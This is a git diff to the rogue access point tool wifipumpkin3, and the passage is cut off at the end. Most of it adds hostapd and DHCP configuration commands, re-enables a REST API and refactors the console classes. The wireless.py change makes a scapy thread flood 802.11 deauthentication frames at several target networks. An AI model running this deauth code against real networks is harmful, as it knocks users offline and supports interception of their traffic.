diff --git a/CHANGELOG.md b/CHANGELOG.md index c6b95434..06bd38c1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,29 @@ # Changelog All notable changes to this project will be documented in this file. +## [Released] + +## [1.1.2] + +### Added +- added improves wifideauth module for support multi targets +- added improves ConsoleUi and added help for command add, rm from wifideauth module +- added hostapd configuration file from wifipumpkin3 console +- added new command `dhcp conf` for configure more easily than dhcp server + +### Changed +- downgrade version flask 1.1.3 to 1.1.1 + +### Deprecated + +### Removed + +### Fixed +- fixed set command for settings sniffkin3, pumpkinproxy, security +- fixed ImportError: cannot import name 'json' from 'itsdangerous' +- fixed markupsafe==2.0.1 tos solve deprecated the JSON API. +- fixed Werkzeug<2.0,>=0.15 is required by {'Flask'} + ## [Released] diff --git a/README.md b/README.md index ce01acc1..23866e11 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,7 @@ - Credentials harvesting - Transparent Proxies - LLMNR, NBT-NS and MDNS poisoner ([Responder3](https://github.com/skelsec/Responder3)) -- RestFulAPI (disabled) +- RestFulAPI (new) - and **more**! ### Donation diff --git a/config/app/config.ini b/config/app/config.ini index 49603e27..df3dddd5 100644 --- a/config/app/config.ini +++ b/config/app/config.ini @@ -53,6 +53,7 @@ docker=false restapi=false [accesspoint] +enable_hostapd_config=false enable_security=false wpa_algorithms=TKIP wpa_sharedkey=1234567890 @@ -73,6 +74,12 @@ status_ap=false timer_update_info=2000 ap_max_inactivity=3600 +[hostapd_config] +ieee80211n=1 #Whether IEEE 802.11n (HT) is enabled +hw_mode=g +ignore_broadcast_ssid=0 #AP will broadcast SSID +skip_inactivity_poll=1 + [colors_log] generic=light-white, #000000 pumpkinproxy=light-red, #000000 diff --git a/docs/screenshot.png b/docs/screenshot.png index d40d6236..78df8a13 100644 Binary files a/docs/screenshot.png and b/docs/screenshot.png differ diff --git a/helps/help_dhcpconf_command.txt b/helps/help_dhcpconf_command.txt new file mode 100644 index 00000000..41c20007 --- /dev/null +++ b/helps/help_dhcpconf_command.txt @@ -0,0 +1,8 @@ +set dhcpconf: + + Usage: dhcpconf [id] + param id: ID of DHCP configuration option + you can get the list using only `dhcpconf` command + + Description: + select a config for configure DHCP Server \ No newline at end of file diff --git a/helps/help_hostapd_config_command.txt b/helps/help_hostapd_config_command.txt new file mode 100644 index 00000000..3b35450c --- /dev/null +++ b/helps/help_hostapd_config_command.txt @@ -0,0 +1,16 @@ +help hostapd_config +=================== + + Usage: set hostapd_config.[variable] [value] + + param [variable]: The key come from hostapd configuration file (hostapd.conf) + param [value]: The value come from hostapd configuration file (hostapd.conf + +you can see more options on link bellow: + https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf. + + Description: + set variables hostapd configuration file + +Referencies: + https://wifipumpkin3.github.io/docs/getting-started#core-commands \ No newline at end of file diff --git a/helps/help_set_command.txt b/helps/help_set_command.txt index bf3a0d34..d1bbfe40 100644 --- a/helps/help_set_command.txt +++ b/helps/help_set_command.txt @@ -1,7 +1,7 @@ set AP variables: Usage: set [variable] [value] - param variable: set variables accesspoint [ssid, bssid, interface, security, channel] + param variable: set variables accesspoint [ssid, bssid, interface, security, channel, hostapd_config] Description: Change variables rogue accesspoint attack diff --git a/helps/help_unset_command.txt b/helps/help_unset_command.txt new file mode 100644 index 00000000..66a8e70d --- /dev/null +++ b/helps/help_unset_command.txt @@ -0,0 +1,11 @@ +unset hostapd_config variables: + + Usage: unset hostapd_config.[variable] + param variable: unset variables for hostapd configuration file + + Description: + Unset variables for hostapd.conf + +Referencies: + https://wifipumpkin3.github.io/docs/getting-started#core-commands + diff --git a/helps/help_wifideauth_add_command.txt b/helps/help_wifideauth_add_command.txt new file mode 100644 index 00000000..e753e32c --- /dev/null +++ b/helps/help_wifideauth_add_command.txt @@ -0,0 +1,11 @@ +Command add: + + Usage: add [macaddress] + param macaddress: The MAC address or (BSSID) of target access point + is listed on the command `scan`. + + param .: The param dot will be add all MAC address (BSSID) of target access point + is listed on the command `scan`. + + Description: + add to list of target for deauth attack. diff --git a/helps/help_wifideauth_rm_command.txt b/helps/help_wifideauth_rm_command.txt new file mode 100644 index 00000000..0369fbf0 --- /dev/null +++ b/helps/help_wifideauth_rm_command.txt @@ -0,0 +1,11 @@ +Command rm: + + Usage: rm [macaddress] or [.] + param macaddress: The MAC address or (BSSID) of target access point + is listed on the command `scan`. + + param .: The param dot will be remove all MAC address (BSSID) of target access point + is listed on the command `scan`. + + Description: + remove from list of target for deauth attack. diff --git a/requirements-dev.txt b/requirements-dev.txt index 5f4d709a..4f6b69c4 100644 --- a/requirements-dev.txt +++ b/requirements-dev.txt @@ -15,12 +15,12 @@ loguru>=0.4.0 scapy==2.4.3 isc_dhcp_leases==0.9.1 dnspython==1.16.0 -Flask>=1.1.1 +Flask==1.1.4 requests>=2.18.4 beautifulsoup4>=4.9.1 black coverage==5.1 -# jwt>=1.0.0 -# Flask-RESTful==0.3.7 -# Werkzeug==1.0.1 - +PyJWT==2.1.0 +flask-restx>=0.5.1 +markupsafe==2.0.1 +Werkzeug<2.0,>=0.15 diff --git a/requirements.txt b/requirements.txt index 0837b3fe..aa476fb3 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,10 +14,11 @@ loguru>=0.4.0 scapy>=2.4.4 isc_dhcp_leases>=0.9.1 dnspython==1.16.0 -Flask==1.1.1 +Flask==1.1.4 requests>=2.18.4 beautifulsoup4>=4.9.1 asn1crypto>=1.0.0 -#jwt>=1.0.0 -#Flask-RESTful==0.3.7 -#Werkzeug==1.0.1 +PyJWT==2.1.0 +flask-restx>=0.5.1 +markupsafe==2.0.1 +Werkzeug<2.0,>=0.15 \ No newline at end of file diff --git a/wifipumpkin3/__main__.py b/wifipumpkin3/__main__.py index 9110ca55..9458278b 100644 --- a/wifipumpkin3/__main__.py +++ b/wifipumpkin3/__main__.py @@ -19,7 +19,7 @@ from os import getuid # disable RestAPI -# from wifipumpkin3.core.servers.rest.application import RestControllerAPI +from wifipumpkin3.core.servers.rest.application import RestControllerAPI import threading @@ -38,27 +38,27 @@ def parser_args_func(parse_args, config): info=True, ) ) - # if parse_args.restmode: - # if not (parse_args.password): - # print( - # display_messages( - # "{} \n rest mode require a valid password.".format( - # setcolor("password invalid", color="red") - # ), - # info=True, - # ) - # ) - # exit(0) - - # set_nocolors() - # config.set_one("ap_mode", "restapi", True) - # config.set("rest_api_settings", "PASSWORD", parse_args.password) - # config.set("rest_api_settings", "USERNAME", parse_args.username) - # config.set("rest_api_settings", "port", parse_args.restport) - # server_restapi = RestControllerAPI("wp3API", config) - # thead = threading.Thread(target=server_restapi.run) - # thead.setDaemon(True) - # thead.start() + if parse_args.restmode: + if not (parse_args.password): + print( + display_messages( + "{} \n rest mode require a valid password.".format( + setcolor("password invalid", color="red") + ), + info=True, + ) + ) + exit(0) + + set_nocolors() + config.set_one("ap_mode", "restapi", True) + config.set("rest_api_settings", "PASSWORD", parse_args.password) + config.set("rest_api_settings", "USERNAME", parse_args.username) + config.set("rest_api_settings", "port", parse_args.restport) + server_restapi = RestControllerAPI("wp3API", config) + thead = threading.Thread(target=server_restapi.run) + thead.setDaemon(True) + thead.start() def wp3_header(): @@ -116,31 +116,31 @@ def main(): action="store_true", default=False, ) - # parser.add_argument( - # "--rest", - # dest="restmode", - # help="Run the Wp3 RESTful API.", - # action="store_true", - # default=False, - # ) - # parser.add_argument( - # "--restport", - # dest="restport", - # help="Port to run the Wp3 RESTful API on. default is 1337", - # default=1337, - # ) - # parser.add_argument( - # "--username", - # dest="username", - # help="Start the RESTful API with the specified username instead of pulling from wp3.db", - # default="wp3admin", - # ) - # parser.add_argument( - # "--password", - # dest="password", - # help="Start the RESTful API with the specified password instead of pulling from wp3.db", - # default=None, - # ) + parser.add_argument( + "--rest", + dest="restmode", + help="Run the Wp3 RESTful API.", + action="store_true", + default=False, + ) + parser.add_argument( + "--restport", + dest="restport", + help="Port to run the Wp3 RESTful API on. default is 1337", + default=1337, + ) + parser.add_argument( + "--username", + dest="username", + help="Start the RESTful API with the specified username instead of pulling from wp3.db", + default="wp3admin", + ) + parser.add_argument( + "--password", + dest="password", + help="Start the RESTful API with the specified password instead of pulling from wp3.db", + default=None, + ) parser.add_argument( "-v", "--version", diff --git a/wifipumpkin3/_version.py b/wifipumpkin3/_version.py index b848fe42..8a333d78 100644 --- a/wifipumpkin3/_version.py +++ b/wifipumpkin3/_version.py @@ -1,3 +1,3 @@ -__version__ = "1.0.9" -__codename__ = "Guaraci" +__version__ = "1.1.2" +__codename__ = "Yorixiriamori" __branch__ = "dev" diff --git a/wifipumpkin3/core/common/console.py b/wifipumpkin3/core/common/console.py index 9ed6167c..5e1f6ad4 100644 --- a/wifipumpkin3/core/common/console.py +++ b/wifipumpkin3/core/common/console.py @@ -90,6 +90,8 @@ def initialize_core(self): "parser_set_plugin": self.mitm_controller.sniffkin3, "parser_set_mode": self.wireless_controller.Settings, "parser_set_security": self.wireless_controller.Settings, + "parser_set_hostapd_config": self.wireless_controller.Settings, + "parser_set_dhcpconf": self.wireless_controller.Settings, } self.parser_autcomplete_func = {} @@ -100,7 +102,13 @@ def initialize_core(self): # register autocomplete set security command self.parser_autcomplete_func[ "parser_set_security" - ] = self.wireless_controller.Settings.getCommands + ] = self.wireless_controller.Settings.getCommandsSecurity + self.parser_autcomplete_func[ + "parser_set_hostapd_config" + ] = self.wireless_controller.Settings.getCommandsHostapd + self.parser_autcomplete_func[ + "parser_set_dhcpconf" + ] = self.wireless_controller.Settings.getCommandsDhcpConf self.commands = { "interface": "interface", @@ -110,7 +118,9 @@ def initialize_core(self): "proxy": None, # only for settings proxy "plugin": None, # only for settings plugin "mode": None, # only for settings mdoe + "dhcpconf": None, # only for settings dhcpconf "security": "enable_security", + "hostapd_config": "enable_hostapd_config", } # get all command plugins and proxies @@ -220,24 +230,24 @@ def do_start(self, args): self.threads["RogueAP"].extend(self.proxy_controller.ActiveReactor) self.threads["RogueAP"].extend(self.mitm_controller.ActiveReactor) - self.wireless_controller.ActiveReactor.start() - self.wireless_controller.ActiveReactor.signalApIsRuning.connect( - self.signalHostApdProcessIsRunning - ) - - # if not self.parse_args.restmode: - # self.wireless_controller.ActiveReactor.start() - # self.wireless_controller.ActiveReactor.signalApIsRuning.connect( - # self.signalHostApdProcessIsRunning - # ) - # return - # self.wireless_controller.ActiveReactor.start() - # for thread in self.threads["RogueAP"]: - # if thread is not None: - # QtCore.QThread.sleep(1) - # if not (isinstance(thread, list)): - # thread.start() + # self.wireless_controller.ActiveReactor.signalApIsRuning.connect( + # self.signalHostApdProcessIsRunning + # ) + + if not self.parse_args.restmode: + self.wireless_controller.ActiveReactor.start() + self.wireless_controller.ActiveReactor.signalApIsRuning.connect( + self.signalHostApdProcessIsRunning + ) + return + + self.wireless_controller.ActiveReactor.start() + for thread in self.threads["RogueAP"]: + if thread is not None: + QtCore.QThread.sleep(1) + if not (isinstance(thread, list)): + thread.start() def signalHostApdProcessIsRunning(self, status): if status: @@ -304,10 +314,6 @@ def do_clients(self, args): """ap: show all connected clients on AP """ self.uiwid_controller.ui_table_mod.start() - def do_dhcp(self, args): - """ap: choise dhcp server configuration""" - self.uiwid_controller.ui_dhcp_config.start() - def do_stop(self, args): """ap: stop access point service""" self.killThreads() @@ -364,8 +370,9 @@ def do_set(self, args): return for func in self.parser_list_func: - if command in func: + if command in func or command.split(".")[0] in func: return getattr(self.parser_list_func[func], func)(value, args) + # hook function configure plugin for plugin in self.parser_autcomplete_func: if command in self.parser_autcomplete_func[plugin]: @@ -373,6 +380,20 @@ def do_set(self, args): print(display_messages("unknown command: {} ".format(command), error=True)) + def do_unset(self, args): + """core: unset variable commnd hostapd_config""" + try: + group_name, key = args.split()[0].split('.')[0], args.split()[0].split('.')[1] + if key in self.conf.get_all_childname(group_name): + return self.conf.unset(group_name, key) + print( + display_messages("unknown key : {} for hostapd_config".format(key), error=True) + ) + except IndexError: + return print( + display_messages("unknown sintax : {} ".format(args), error=True) + ) + def complete_ignore(self, text, args, start_index, end_index): if text: return [ @@ -393,6 +414,18 @@ def complete_restore(self, text, args, start_index, end_index): else: return list(self.logger_manager.all()) + def complete_unset(self, text, args, start_index, end_index): + if text: + command_list = [] + for func in self.parser_autcomplete_func: + if text.startswith(func.split("_set_")[1]): + for command in self.parser_autcomplete_func[func]: + if command.startswith(text): + command_list.append(command) + return command_list + else: + return ["hostapd_config"] + def complete_set(self, text, args, start_index, end_index): if text: command_list = [] @@ -421,6 +454,9 @@ def complete_use(self, text, args, start_index, end_index): def help_set(self): self.show_help_command("help_set_command") + + def help_unset(self): + self.show_help_command("help_unset_command") def help_mode(self): self.show_help_command("help_mode_command") diff --git a/wifipumpkin3/core/common/terminal.py b/wifipumpkin3/core/common/terminal.py index e33ca5ae..b89475a3 100644 --- a/wifipumpkin3/core/common/terminal.py +++ b/wifipumpkin3/core/common/terminal.py @@ -1,4 +1,5 @@ from cmd import Cmd +from distutils.log import error from wifipumpkin3.core.utility.printer import * from wifipumpkin3.core.utility.collection import SettingsINI import wifipumpkin3.core.utility.constants as C @@ -24,15 +25,87 @@ # See the License for the specific language governing permissions and # limitations under the License. +class ConsoleUIBase(Cmd): + """ shell console UI base model """ + + def setOptions(self): + if self.parse_args.pulp: + self.loadPulpFiles(self.parse_args.pulp) + elif self.parse_args.xpulp: + self.onecmd(self.parse_args.xpulp, ";") + + def default(self, args: str): + """ run commands system allow by tool """ + for goodArgs in C.SYSTEMCOMMAND: + if args.startswith(goodArgs): + output = popen(args).read() + if len(output) > 0: + print(output) + return + command = None + try: + command = args.split()[0] + except IndexError: + pass + if command not in self.getCommmandsNames and command != None: + print( + display_messages( + "wp3: command not found: {}".format(setcolor(args, "red", False)), + error=True + )) + + @property + def getCommmandsNames(self): + names = self.get_names() + cmds_do = [] + names.sort() + for name in names: + if name[:3] == "do_": + cmd = name[3:] + cmds_do.append(cmd) + return tuple(cmds_do) + + def emptyline(self): + """ Do nothing on empty input line""" + pass + + def precmd(self, line): + newline = line.strip() + is_cmt = newline.startswith("#") + if is_cmt: + return "" + return line + + def postcmd(self, stop, line): + return stop + + def onecmd(self, commands, separator=";"): + """ load command separate for ; file or string""" + for command in commands.split(separator): + Cmd.onecmd(self, command) + + def show_help_command(self, filename): + """read content file help command """ + print(Linux.readFileHelp(filename)) + + def loadPulpFiles(self, file, data=None): + raise NotImplementedError() + + def set_prompt(self): + raise NotImplementedError() + + def do_help(self, args): + raise NotImplementedError() + -class ConsoleUI(Cmd): +class ConsoleUI(ConsoleUIBase): """ shell console UI """ def __init__(self, parse_args=None): self.parse_args = parse_args Cmd.__init__(self) self.conf = SettingsINI.getInstance() - self.set_prompt() + self.set_prompt() self.initialize_core() self.setOptions() @@ -50,11 +123,29 @@ def cmdloop(self, intro=None): def initialize_core(self): raise NotImplementedError() - def setOptions(self): - if self.parse_args.pulp: - self.loadPulpFiles(self.parse_args.pulp) - elif self.parse_args.xpulp: - self.onecmd(self.parse_args.xpulp, ";") + def loadPulpFiles(self, file, data=None): + """ load and execute all commands in file pulp separate for \n """ + print( + "\n" + + display_messages( + "mode: {}".format(setcolor("script", "ciano", True)), info=True + ) + ) + if path.isfile(file): + with open(file, "r") as f: + data = f.read() + f.close() + if data != None: + print( + display_messages("plugin: {}".format(file), info=True, sublime=True) + ) + return self.onecmd(data, separator="\n") + print( + display_messages( + "script {} not found! ".format(file), error=True, sublime=True + ) + ) + sys.exit(1) def set_prompt(self): self.prompt = "{} > ".format(setcolor("wp3", color="blue", underline=True)) @@ -129,67 +220,13 @@ def do_help(self, args): print(" {:<10} {}".format(command, doc)) print("\n") - def default(self, args=str): - for goodArgs in C.SYSTEMCOMMAND: - if args.startswith(goodArgs): - output = popen(args).read() - if len(output) > 0: - print(output) - - def loadPulpFiles(self, file, data=None): - """ load and execute all commands in file pulp separate for \n """ - print( - "\n" - + display_messages( - "mode: {}".format(setcolor("script", "ciano", True)), info=True - ) - ) - if path.isfile(file): - with open(file, "r") as f: - data = f.read() - f.close() - if data != None: - print( - display_messages("plugin: {}".format(file), info=True, sublime=True) - ) - return self.onecmd(data, separator="\n") - print( - display_messages( - "script {} not found! ".format(file), error=True, sublime=True - ) - ) - sys.exit(1) - - def onecmd(self, commands, separator=";"): - """ load command separate for ; file or string""" - for command in commands.split(separator): - Cmd.onecmd(self, command) - - def show_help_command(self, filename): - """read content file help command """ - print(Linux.readFileHelp(filename)) - - def precmd(self, line): - newline = line.strip() - is_cmt = newline.startswith("#") - if is_cmt: - return "" - return line - - def postcmd(self, stop, line): - return stop - - def emptyline(self): - """Do nothing on empty input line""" - pass - def do_exit(self, args): """ exit the program.""" print("Quitting.") raise SystemExit -class ModuleUI(Cmd): +class ModuleUI(ConsoleUIBase): """ shell console UI """ _name_module = None @@ -289,25 +326,40 @@ def do_options(self, line): def do_help(self, args): """ show this help """ - names = self.get_names() - cmds_doc = [] - names.sort() - print(display_messages("Available Commands:", info=True, sublime=True)) - for name in names: - if name[:3] == "do_": - pname = name - cmd = name[3:] - if getattr(self, name).__doc__: - cmds_doc.append((cmd, getattr(self, name).__doc__)) - else: - cmds_doc.append((cmd, "")) - - self.stdout.write(" {} {}\n".format("Commands", "Description")) - self.stdout.write(" {} {}\n".format("--------", "-----------")) - for command, doc in cmds_doc: - if len(doc) > 0: - self.stdout.write(" {:<10} {}\n".format(command, doc)) - print("\n") + if args: + try: + func = getattr(self, "help_" + args) + except Exception: + try: + head, doc = str(getattr(self, "do_" + args).__doc__).split(":") + if doc: + self.stdout.write("%s\n" % str(doc)) + return + except Exception: + pass + self.stdout.write("%s\n" % str(self.nohelp % (args,))) + return + func() + else: + names = self.get_names() + cmds_doc = [] + names.sort() + print(display_messages("Available Commands:", info=True, sublime=True)) + for name in names: + if name[:3] == "do_": + pname = name + cmd = name[3:] + if getattr(self, name).__doc__: + cmds_doc.append((cmd, getattr(self, name).__doc__)) + else: + cmds_doc.append((cmd, "")) + + self.stdout.write(" {} {}\n".format("Commands", "Description")) + self.stdout.write(" {} {}\n".format("--------", "-----------")) + for command, doc in cmds_doc: + if len(doc) > 0: + self.stdout.write(" {:<10} {}\n".format(command, doc)) + print("\n") def loadPulpFiles(self, file, data=None): """ load and execute all commands in file pulp separate for \n """ @@ -319,37 +371,22 @@ def loadPulpFiles(self, file, data=None): self.onecmd(data, separator="\n") sys.exit(1) - def default(self, args=str): - """ run commands system allow by tool """ - for goodArgs in C.SYSTEMCOMMAND: - if args.startswith(goodArgs): - output = popen(args).read() - if len(output) > 0: - print(output) - def complete_set(self, text, line, begidx, endidx): mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in self.completions if s.startswith(mline)] - def emptyline(self): - """ Do nothing on empty input line""" - pass - def onecmd(self, commands, separator=";"): """ load command separate for ; file or string""" for command in commands.split(separator): - Cmd.onecmd(self, command) - - def show_help_command(self, filename): - """read content file help command """ - print(Linux.readFileHelp(filename)) + if not str(command).startswith("use"): + Cmd.onecmd(self, command) def do_exit(self, args): sys.exit(0) -class ExtensionUI(Cmd): +class ExtensionUI(ConsoleUIBase): """ native extension console UI """ _name_module = None @@ -373,7 +410,3 @@ def name_module(self, name): def register_command(self, name_func, func): """register a command on super class Pumpkinshell """ setattr(self.root.__class__, name_func, staticmethod(func)) - - def show_help_command(self, filename): - """read content file help command """ - print(Linux.readFileHelp(filename)) diff --git a/wifipumpkin3/core/config/globalimport/__init__.py b/wifipumpkin3/core/config/globalimport/__init__.py index 9e41ffd8..f4263b3e 100644 --- a/wifipumpkin3/core/config/globalimport/__init__.py +++ b/wifipumpkin3/core/config/globalimport/__init__.py @@ -5,7 +5,6 @@ from PyQt5 import QtCore, Qt from logging import getLogger, ERROR import wifipumpkin3.core.utility.constants as C -from wifipumpkin3.core.utility.collection import SettingsINI from wifipumpkin3.core.utility.collection import SettingsINI as SuperSettings from collections import OrderedDict from functools import partial @@ -69,6 +68,9 @@ def exec_bash(command): "deleteObject", "os", "sys", + "display_messages", + "display_tabulate", + "setcolor", "exec_bash", "LoggerManager", "StandardLog", diff --git a/wifipumpkin3/core/controllers/wirelessmodecontroller.py b/wifipumpkin3/core/controllers/wirelessmodecontroller.py index dd1662c6..c397c624 100644 --- a/wifipumpkin3/core/controllers/wirelessmodecontroller.py +++ b/wifipumpkin3/core/controllers/wirelessmodecontroller.py @@ -132,22 +132,56 @@ def parser_set_mode(self, mode_name, *args): ) @property - def getCommands(self): + def getCommandsSecurity(self): commands = ["wpa_algorithms", "wpa_sharedkey", "wpa_type"] list_commands = [] for command in commands: list_commands.append("security" + "." + command) return list_commands + + @property + def getCommandsHostapd(self): + commands_host = self.conf.get_all_childname("hostapd_config") + list_commands = [] + for command in commands_host: + list_commands.append("hostapd_config" + "." + command) + return list_commands + + @property + def getCommandsDhcpConf(self): + commands_host = self.conf.get_all_childname("dhcp") + list_commands = [] + for command in commands_host: + list_commands.append("dhcpconf" + "." + command) + return list_commands def parser_set_security(self, value, settings): try: - # key = security.wpa_sharedkey - name, key = settings.split(".")[0], settings.split(".")[1] + # settings = security.wpa_algorithms TKI + name, key = settings.split(".")[0], settings.split(".")[1].split()[0] if key in self.conf.get_all_childname("accesspoint"): return self.conf.set("accesspoint", key, value) print(display_messages("unknown flag: {}".format(key), error=True)) except IndexError: print(display_messages("unknown sintax command", error=True)) + + def parser_set_dhcpconf(self, value, settings): + try: + # settings = settings.netmask 255.0.0.0 + name, key = settings.split(".")[0], settings.split(".")[1].split()[0] + if key in self.conf.get_all_childname("dhcp"): + return self.conf.set("dhcp", key, value) + print(display_messages("unknown flag: {}".format(key), error=True)) + except IndexError: + print(display_messages("unknown sintax command", error=True)) + + def parser_set_hostapd_config(self, value, settings): + try: + # settings = hostapd_extra.logger_syslog 1 + name, key = settings.split(".")[0], settings.split(".")[1].split()[0] + return self.conf.set("hostapd_config", key, value) + except IndexError: + print(display_messages("unknown sintax command", error=True)) def configure_network_AP(self): """ configure interface and dhcpd for mount Access Point """ diff --git a/wifipumpkin3/core/packets/wireless.py b/wifipumpkin3/core/packets/wireless.py index c86d5193..969250bf 100644 --- a/wifipumpkin3/core/packets/wireless.py +++ b/wifipumpkin3/core/packets/wireless.py @@ -21,39 +21,45 @@ class ThreadDeauth(QThread): - def __init__(self, bssid, client, interface): + def __init__(self, mac_blacklist, client, interface): QThread.__init__(self) - self.bssid = bssid + self._mac_blacklist = mac_blacklist self.client = client self.interface = interface self.status = False - self.pkts = [] + self.pkts = list() - def run(self): - print( - display_messages( - "starting thread {}".format(setcolor(self.objectName(), color="green")), - info=True, - ) - ) - self.status = True - conf.iface = self.interface + def build_packetRadioTap(self, bssid, client): pkt1 = ( RadioTap() / Dot11( type=0, subtype=12, - addr1=self.client, - addr2=self.bssid, - addr3=self.bssid, + addr1=client, + addr2=bssid, + addr3=bssid, ) / Dot11Deauth(reason=7) ) pkt2 = ( - Dot11(addr1=self.bssid, addr2=self.client, addr3=self.client) + Dot11(addr1=bssid, addr2=client, addr3=client) / Dot11Deauth() ) - self.pkts.append(pkt1), self.pkts.append(pkt2) + self.pkts.append(pkt1) + self.pkts.append(pkt2) + + def run(self): + print( + display_messages( + "starting thread {}".format(setcolor(self.objectName(), color="green")), + info=True, + ) + ) + self.status = True + conf.iface = self.interface + for target in self._mac_blacklist: + self.build_packetRadioTap(target, self.client) + while self.status: for packet in self.pkts: sendp(packet, verbose=False, count=1, iface=self.interface) @@ -65,3 +71,4 @@ def stop(self): "thread {} successfully stopped".format(self.objectName()), info=True ) ) + self.pkts = list() diff --git a/wifipumpkin3/core/servers/mitm/sniffkin3.py b/wifipumpkin3/core/servers/mitm/sniffkin3.py index 3756663d..1410e77b 100644 --- a/wifipumpkin3/core/servers/mitm/sniffkin3.py +++ b/wifipumpkin3/core/servers/mitm/sniffkin3.py @@ -138,25 +138,19 @@ def getPlugins(self): def parser_set_sniffkin3(self, status, plugin_name): try: - # plugin_name = pumpkinproxy.no-cache + # plugin_name = sniffkin3.no-cache true name_plugin, key_plugin = ( plugin_name.split(".")[0], - plugin_name.split(".")[1], + plugin_name.split(".")[1].split()[0], ) if key_plugin in self.config.get_all_childname("plugins"): - self.config.set("plugins", key_plugin, status) - print( - display_messages( - "sniffkin3: {} status: {}".format(key_plugin, status), - sucess=True, - ) - ) - else: - print( - display_messages( - "unknown plugin: {}".format(key_plugin), error=True - ) + return self.config.set("plugins", key_plugin, status) + + print( + display_messages( + "unknown plugin: {}".format(key_plugin), error=True ) + ) except IndexError: print(display_messages("unknown sintax command", error=True)) diff --git a/wifipumpkin3/core/servers/proxy/pumpkin_proxy.py b/wifipumpkin3/core/servers/proxy/pumpkin_proxy.py index 407dc14c..fc624dd1 100644 --- a/wifipumpkin3/core/servers/proxy/pumpkin_proxy.py +++ b/wifipumpkin3/core/servers/proxy/pumpkin_proxy.py @@ -104,10 +104,10 @@ def LogOutput(self, data): def parser_set_pumpkinproxy(self, status, plugin_name): if len(plugin_name.split(".")) == 2: try: - # plugin_name = pumpkinproxy.no-cache + # plugin_name = pumpkinproxy.beef true name_plugin, key_plugin = ( plugin_name.split(".")[0], - plugin_name.split(".")[1], + plugin_name.split(".")[1].split()[0], ) if key_plugin in self.config.get_all_childname("plugins"): self.config.set("plugins", key_plugin, status) @@ -121,10 +121,10 @@ def parser_set_pumpkinproxy(self, status, plugin_name): print(display_messages("unknown sintax command", error=True)) elif len(plugin_name.split(".")) == 3: try: - # plugin_name = pumpkinproxy.beef.url_hook + # plugin_name = pumpkinproxy.beef.url_hook URL name_plugin, key_plugin = ( plugin_name.split(".")[1], - plugin_name.split(".")[2], + plugin_name.split(".")[2].split()[0], ) if key_plugin in self.config.get_all_childname( "set_{}".format(name_plugin) diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/__init__.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/__init__.py index 5ce2edd5..786ae710 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/__init__.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/__init__.py @@ -1,5 +1,5 @@ from flask import Blueprint -from flask_restful import Api +from flask_restx import Api import wifipumpkin3.core.servers.rest.blueprints.restapi.accesspoint as res_ap import wifipumpkin3.core.servers.rest.blueprints.restapi.authenticate as res_auth import wifipumpkin3.core.servers.rest.blueprints.restapi.logger as res_logger @@ -48,8 +48,6 @@ def init_app(app): res_ap.SettingsAPmodeResource, "/apmode", "/apmode/" ) - api.add_resource(res_ap.ClientsResource, "/clients") - api.add_resource( res_plugins.SettingsPluginResource, "/plugins", "/plugins/" ) diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/accesspoint.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/accesspoint.py index 54578aaa..9ead7a2c 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/accesspoint.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/accesspoint.py @@ -3,7 +3,7 @@ from wifipumpkin3 import PumpkinShell from wifipumpkin3.core.common.platforms import Linux as Refactor from netaddr import EUI -from flask_restful import Resource +from flask_restx import Resource from flask import jsonify, request from wifipumpkin3.core.servers.rest.ext.auth import token_required from wifipumpkin3.core.servers.rest.ext.exceptions import exception @@ -25,34 +25,6 @@ # See the License for the specific language governing permissions and # limitations under the License. - -class ClientsResource(Resource): - def __init__(self): - self.root = PumpkinShell.getInstance() - super(ClientsResource, self).__init__() - - def get_mac_vendor(self, mac): - """ discovery mac vendor by mac address """ - try: - d_vendor = EUI(mac) - d_vendor = d_vendor.oui.registration().org - except: - d_vendor = "unknown vendor" - return d_vendor - - @token_required - def get(self): - proxy_plugins = self.root.proxy_controller.getInfo() - connected_clints = Refactor.readFileDataToJson(C.CLIENTS_CONNECTED) - list_clients_connted = [] - for item in connected_clints: - connected_clints[item]["VENDOR"] = self.get_mac_vendor( - connected_clints[item]["MAC"] - ) - list_clients_connted.append(connected_clints[item]) - return jsonify({"clients": list_clients_connted}) - - class SettingsAPmodeResource(Resource): config = SettingsINI.getInstance() key_name = "ap_mode" @@ -95,7 +67,7 @@ def get(self, attribute=None): if attribute: if not attribute in self.config.get_all_childname(self.key_name): return exception( - "Cannot found that attribute {} on {}!".format(key, self.key_name), + "Cannot found that attribute {} on {}!".format(attribute, self.key_name), code=400, ) return jsonify({attribute: self.config.get(self.key_name, attribute)}) diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/authenticate.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/authenticate.py index eb35af15..aaf2891f 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/authenticate.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/authenticate.py @@ -1,4 +1,4 @@ -from flask_restful import Resource +from flask_restx import Resource from flask import request, jsonify, make_response from werkzeug.security import generate_password_hash, check_password_hash import jwt @@ -59,9 +59,10 @@ def get(self): + datetime.timedelta(minutes=3000), }, admin_SECRET_KEY, + algorithm="HS256", ) - return jsonify({"token": token.decode("UTF-8")}) + return jsonify({"token": token}) return make_response( "Could not verify", diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/commands.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/commands.py index 415b064e..07035608 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/commands.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/commands.py @@ -1,6 +1,6 @@ from flask import jsonify, request from wifipumpkin3 import PumpkinShell -from flask_restful import Resource +from flask_restx import Resource from io import StringIO import sys from wifipumpkin3.core.servers.rest.ext.auth import token_required @@ -37,12 +37,10 @@ def __exit__(self, *args): class CommandsResource(Resource): - def __init__(self): - self.root = PumpkinShell.getInstance() - super(CommandsResource, self).__init__() @token_required def get(self, command=None): + self.root = 